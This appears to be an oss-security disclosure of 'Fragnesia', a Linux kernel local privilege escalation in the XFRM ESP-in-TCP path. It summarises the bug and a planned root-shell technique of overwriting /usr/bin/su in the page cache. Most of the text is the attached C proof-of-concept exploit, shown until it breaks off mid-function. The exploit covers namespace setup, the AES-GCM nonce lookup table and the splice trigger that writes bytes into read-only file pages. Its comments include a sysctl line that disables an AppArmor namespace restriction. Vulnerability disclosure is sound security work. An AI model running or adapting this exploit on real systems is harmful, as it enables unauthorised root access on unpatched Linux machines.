v12-security have disclosed "Fragnesia" [0]. Quoting their disclosure: > Fragnesia is a universal Linux local privilege escalation exploit, > discovered by William Bowling with the V12 team. Fragnesia is a member > of the Dirty Frag vulnerability class. This is a separate bug in the > ESP/XFRM from dirtyfrag which has received its own patch. However, it > is in the same surface and the mitigation is the same as for dirtyfrag. > > It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to > achieve arbitrary byte writes into the kernel page cache of read-only > files, without requiring any race condition.
> The technique extends the page-cache write bug class that includes
> Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after
> data has already been spliced from a file into the receive queue, the
> kernel processes the queued file pages as ESP ciphertext. The AES-GCM
> keystream byte at counter block position 2, byte 0 is XORed directly
> into the cached file page. By selecting the IV nonce to produce a
> desired keystream byte, any target byte in the file can be set to any
> value — one byte per trigger invocation.
>
> The exploit builds a 256-entry lookup table mapping each possible
> keystream byte to its corresponding nonce, then iterates over a
> payload, firing the splice/ULP race for each byte that needs changing.
> It writes a small position-independent ELF stub
> (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of
> /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to
> obtain a root shell. The page cache modification is not backed to
> disk; the on-disk binary is untouched.
page cache part being copyfail again [0], but the actual bug is more
like dirtyfrag [2]. They've also provided a PoC [3] (attached).
There's a patch on netdev [4], not yet in that tree or in Linus's tree,
therefore not in any stable kernels either.
[0] https://github.com/v12-security/pocs/tree/main/fragnesia
[1] https://www.openwall.com/lists/oss-security/2026/04/29/23 (CVE-2026-31431)
[2] https://www.openwall.com/lists/oss-security/2026/05/07/8 (CVE-2026-43284,
CVE-2026-43500)
[3]
https://github.com/v12-security/pocs/blob/d4043edc2acbd75d093e3f5795751b678c66b259/fragnesia/fragnesia.c
[4] https://lore.kernel.org/netdev/[email protected]/
// Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - https://v12.sh - dangerously powerful agentic security // Patch: https://lists.openwall.net/netdev/2026/05/13/79 /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <grp.h> #if __has_include(<linux/if_alg.h>) #include <linux/if_alg.h> #else #include <linux/types.h> struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include <linux/netlink.h> #include <linux/udp.h> #include <linux/xfrm.h> #include <limits.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <sched.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i < len; i++) printf("%02x", buf[i]); printf(C_RESET "\n"); } /* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */ static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val, const char *after_label, unsigned char after_val) { uint64_t row_start = highlight_off & ~(uint64_t)15; unsigned char row[16]; ssize_t got; size_t col; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) return; got = pread(fd, row, sizeof(row), (off_t)row_start); close(fd); if (got <= 0) return; /* Hex section */ printf(C_DIM " %016llx " C_RESET, (unsigned long long)row_start); for (col = 0; col < 16; col++) { if (col == 8) printf(" "); if ((size_t)got > col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col < (size_t)got; col++) { unsigned char c = row[col]; if (row_start + col == highlight_off) printf(C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); else printf(C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); } printf(C_DIM "|" C_RESET "\n"); /* Annotation line */ size_t col_off = (size_t)(highlight_off - row_start); size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd < 0) die("socket(AF_ALG)"); strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "ecb(aes)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)"); if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key"); return fd; } static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) { char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {}; struct iovec iov = { .iov_base = (void *)in, .iov_len = 16, }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; uint32_t op = ALG_OP_ENCRYPT; ssize_t ret; int op_fd; op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC); if (op_fd < 0) die("accept AF_ALG"); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { unsigned char b; store_be32(iv + 4, nonce); b = aes_gcm_stream0_byte(alg_fd, iv); if (stream0_have[b]) continue; stream0_have[b] = true; stream0_nonce[b] = (uint16_t)nonce; count++; } close(alg_fd); if (count != 256) { fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count); exit(2); } printf("stream0_table_entries=256\n"); } static void choose_iv_for_stream0(unsigned char need_stream) { uint16_t nonce = stream0_nonce[need_stream]; memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv)); store_be32(active_esp_gcm_iv + 4, nonce); printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream); print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); } static uint64_t parse_u64_arg(const char *s, const char *name) { char *end = NULL; unsigned long long v; if (s[0] == '-') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } errno = 0; v = strtoull(s, &end, 0); if (errno || !end || *end != '\0') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } return (uint64_t)v; } static int hex_nibble(int c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + c - 'a'; if (c >= 'A' && c <= 'F') return 10 + c - 'A'; return -1; } static bool is_hex_separator(int c) { return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r'; } static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) { size_t cap = strlen(s) / 2 + 1, len = 0; unsigned char *buf; int hi = -1, v; buf = malloc(cap); if (!buf) die("malloc desired bytes"); for (; *s; s++) { if (is_hex_separator((unsigned char)*s)) continue; if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) { s++; continue; } v = hex_nibble((unsigned char)*s); if (v < 0) { fprintf(stderr, "invalid hex byte string near '%c'\n", *s); exit(2); } if (hi < 0) { hi = v; continue; } buf[len++] = (unsigned char)((hi << 4) | v); hi = -1; } if (hi >= 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open read byte"); ret = pread(fd, &b, 1, (off_t)off); if (ret < 0) die("pread byte"); if (ret != 1) { fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off); exit(2); } close(fd); return b; } static void print_file_sample(const char *label, uint64_t off, size_t len) { unsigned char buf[32]; ssize_t ret; int fd; if (len > sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open sample"); ret = pread(fd, buf, len, (off_t)off); if (ret < 0) die("pread sample"); close(fd); if ((size_t)ret != len) { fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret); exit(2); } print_hex_bytes(label, buf, len); } static uint64_t use_existing_target(const char *path) { struct stat lst, st; if (lstat(path, &lst) < 0) die("lstat target"); if (!S_ISREG(lst.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (stat(path, &st) < 0) die("stat target"); if (!S_ISREG(st.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (st.st_size < FRAG_LEN) { fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) return -1; if (write(fd, buf, len) != (ssize_t)len) { saved_errno = errno; close(fd); errno = saved_errno; return -1; } close(fd); return 0; } static void sync_write_byte(int fd) { char c = 'M'; if (write(fd, &c, 1) != 1) die("sync write"); close(fd); } static void sync_read_byte(int fd) { char c; if (read(fd, &c, 1) != 1) die("sync read"); close(fd); } static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) { char path[128]; snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name); if (write_all_file_status(path, data) < 0) { printf("namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno)); kill(child, SIGKILL); waitpid(child, NULL, 0); exit(4); } } static void enter_mapped_userns(void) { uid_t outer_uid = getuid(); gid_t outer_gid = getgid(); int ready_pipe[2], mapped_pipe[2], status; char map[128]; pid_t child; if (pipe(ready_pipe) < 0) die("pipe ready"); if (pipe(mapped_pipe) < 0) die("pipe mapped"); child = fork(); if (child < 0) die("fork userns mapper"); if (child > 0) { close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) < 0) die("wait userns child"); if (WIFEXITED(status)) exit(WEXITSTATUS(status)); if (WIFSIGNALED(status)) { fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status)); exit(2); } exit(2); } close(ready_pipe[0]); close(mapped_pipe[1]); if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)"); sync_write_byte(ready_pipe[1]); sync_read_byte(mapped_pipe[0]); if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns"); if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns"); printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(), getgid()); } static void bring_loopback_up(void) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); if (fd < 0) gate_fail("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up"); close(fd); printf("loopback_up=1\n"); } static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) { size_t off = NLMSG_ALIGN(nlh->nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd < 0) gate_fail("socket(NETLINK_XFRM)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)"); memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA"); if (ret != (ssize_t)nlh->nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret < 0) gate_fail("recv XFRM ack"); if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack"); close(fd); printf("xfrm_espintcp_state_add=1\n"); } static void setup_user_netns_xfrm(void) { if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE"); enter_mapped_userns(); if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)"); printf("netns_setup=1\n"); bring_loopback_up(); add_xfrm_espintcp_state(); printf("namespace_setup_complete=1\n"); } static void write_ready(int fd) { char c = 'R'; if (write(fd, &c, 1) != 1) die("ready write"); close(fd); } static void wait_ready(int fd) { char c; if (read(fd, &c, 1) != 1) die("ready read"); close(fd); } static void receiver(int ready_write_fd) { struct sockaddr_in6 addr = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; char ulp[] = "espintcp"; int fd, cfd, one = 1; fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (fd < 0) die("receiver socket"); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); if (listen(fd, 1) < 0) die("receiver listen"); write_ready(ready_write_fd); cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); if (cfd < 0) die("receiver accept"); usleep(RECEIVER_PRE_ULP_US); if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp"); printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid()); usleep(RECEIVER_POST_ULP_US); close(cfd); close(fd); _exit(0); } static void sender(int ready_read_fd) { struct sockaddr_in6 dst = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; struct { __be16 len; unsigned char esp[16]; } prefix; loff_t off, start_off; int fd, sock, p[2], one = 1; ssize_t ret, sent; wait_ready(ready_read_fd); memset(&prefix, 0xcc, sizeof(prefix)); prefix.len = htons(sizeof(prefix) + FRAG_LEN); prefix.esp[0] = 0x00; prefix.esp[1] = 0x00; prefix.esp[2] = 0x01; prefix.esp[3] = 0x00; store_be32(&prefix.esp[4], active_esp_seq); memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("sender open target"); sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (sock < 0) die("sender socket"); if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY"); if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect"); sent = send(sock, &prefix, sizeof(prefix), 0); if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix"); usleep(SENDER_PRE_SPLICE_US); if (pipe(p) < 0) die("sender pipe"); off = target_splice_off; start_off = off; ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); if (ret != FRAG_LEN) die("sender splice file to pipe"); ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); if (ret < 0) die("sender splice pipe to tcp"); printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n", getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off); close(p[0]); close(p[1]); close(sock); close(fd); _exit(ret == FRAG_LEN ? 0 : 3); } static int run_trigger_pair(void) { int pipefd[2], st_rx, st_tx; pid_t rx, tx; if (pipe(pipefd) < 0) die("pipe"); rx = fork(); if (rx < 0) die("fork receiver"); if (rx == 0) { close(pipefd[0]); receiver(pipefd[1]); } tx = fork(); if (tx < 0) die("fork sender"); if (tx == 0) { close(pipefd[1]); sender(pipefd[0]); } close(pipefd[0]); close(pipefd[1]); if (waitpid(tx, &st_tx, 0) < 0) die("wait sender"); if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver"); printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx); if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1; return 0; } static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) { uint64_t n = (uint64_t)byte_len; if (n == 0) { fprintf(stderr, "byte range is empty\n"); exit(2); } if (n - 1 > UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done < desired_len ? desired_len - done : (size_t)0); /* ── hex dump ────────────────────────────────────────────────── */ for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) { /* col-0 highlight borrows the header's last trailing space */ int col0_hi = (idx_current < desired_len && row * 16 == idx_current); printf("\r\033[2K" C_DIM " %04zx%s" C_RESET, row * 16, col0_hi ? " " : " "); for (col = 0; col < 16; col++) { bi = row * 16 + col; int cur = (idx_current < desired_len && bi == idx_current); if (col == 8) { /* mid-gap space becomes '[' when col 8 is current */ printf(cur ? "[" : " "); if (cur) { printf(C_BYLW "%02x]" C_RESET, live[bi]); continue; } } if (bi >= desired_len) { printf(" "); continue; } if (bi < idx_current) { printf(live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]); } else if (cur) { /* col 0: '[' was the header's borrowed space * col 1-7, 9-15: '\b' eats the preceding byte's space */ printf(col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]); } else { printf(C_DIM "%02x " C_RESET, desired[bi]); } } printf("\n"); } /* ── progress bar ────────────────────────────────────────────── */ printf("\r\033[2K [" C_BGRN); for (i = 0; i < filled; i++) printf("="); printf(C_RESET C_DIM); for (i = filled; i < FRAME_BAR_W; i++) printf("-"); printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len, desired_len ? done * 100 / desired_len : (size_t)100); /* ── separator ───────────────────────────────────────────────── */ printf("\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n"); fflush(stdout); setvbuf(stdout, NULL, _IONBF, 0); if (!first_draw) printf("\033[?25h\033[u"); /* restore cursor to log area */ } static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len, uint64_t file_size) { uint64_t last = checked_byte_range_last(byte_off, desired_len); size_t idx, changed = 0, skipped = 0; unsigned char live_state[PAYLOAD_LEN]; int fd_init; if (last >= file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n", FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } printf(C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n", RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US); printf(C_BCYN "[*]" C_RESET " range: offset=0x%llx len=%zu last=0x%llx" " enc_len=%d splice_len=%d\n", (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN); printf(C_BCYN "[*]" C_RESET " union: transformed=0x%llx-0x%llx" " collateral_after=0x%llx-0x%llx\n", (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1), (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1)); printf(C_BCYN "[*]" C_RESET " "); print_hex_bytes("payload", desired, desired_len); printf("\n"); build_stream0_table(); printf("\n"); /* seed live_state from the file so the hex dump has real values */ fd_init = open(target_file, O_RDONLY | O_CLOEXEC); if (fd_init < 0) die("open live_state init"); if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init"); close(fd_init); /* clear screen so the frame starts at a known row 1 */ printf("\033[2J\033[H"); 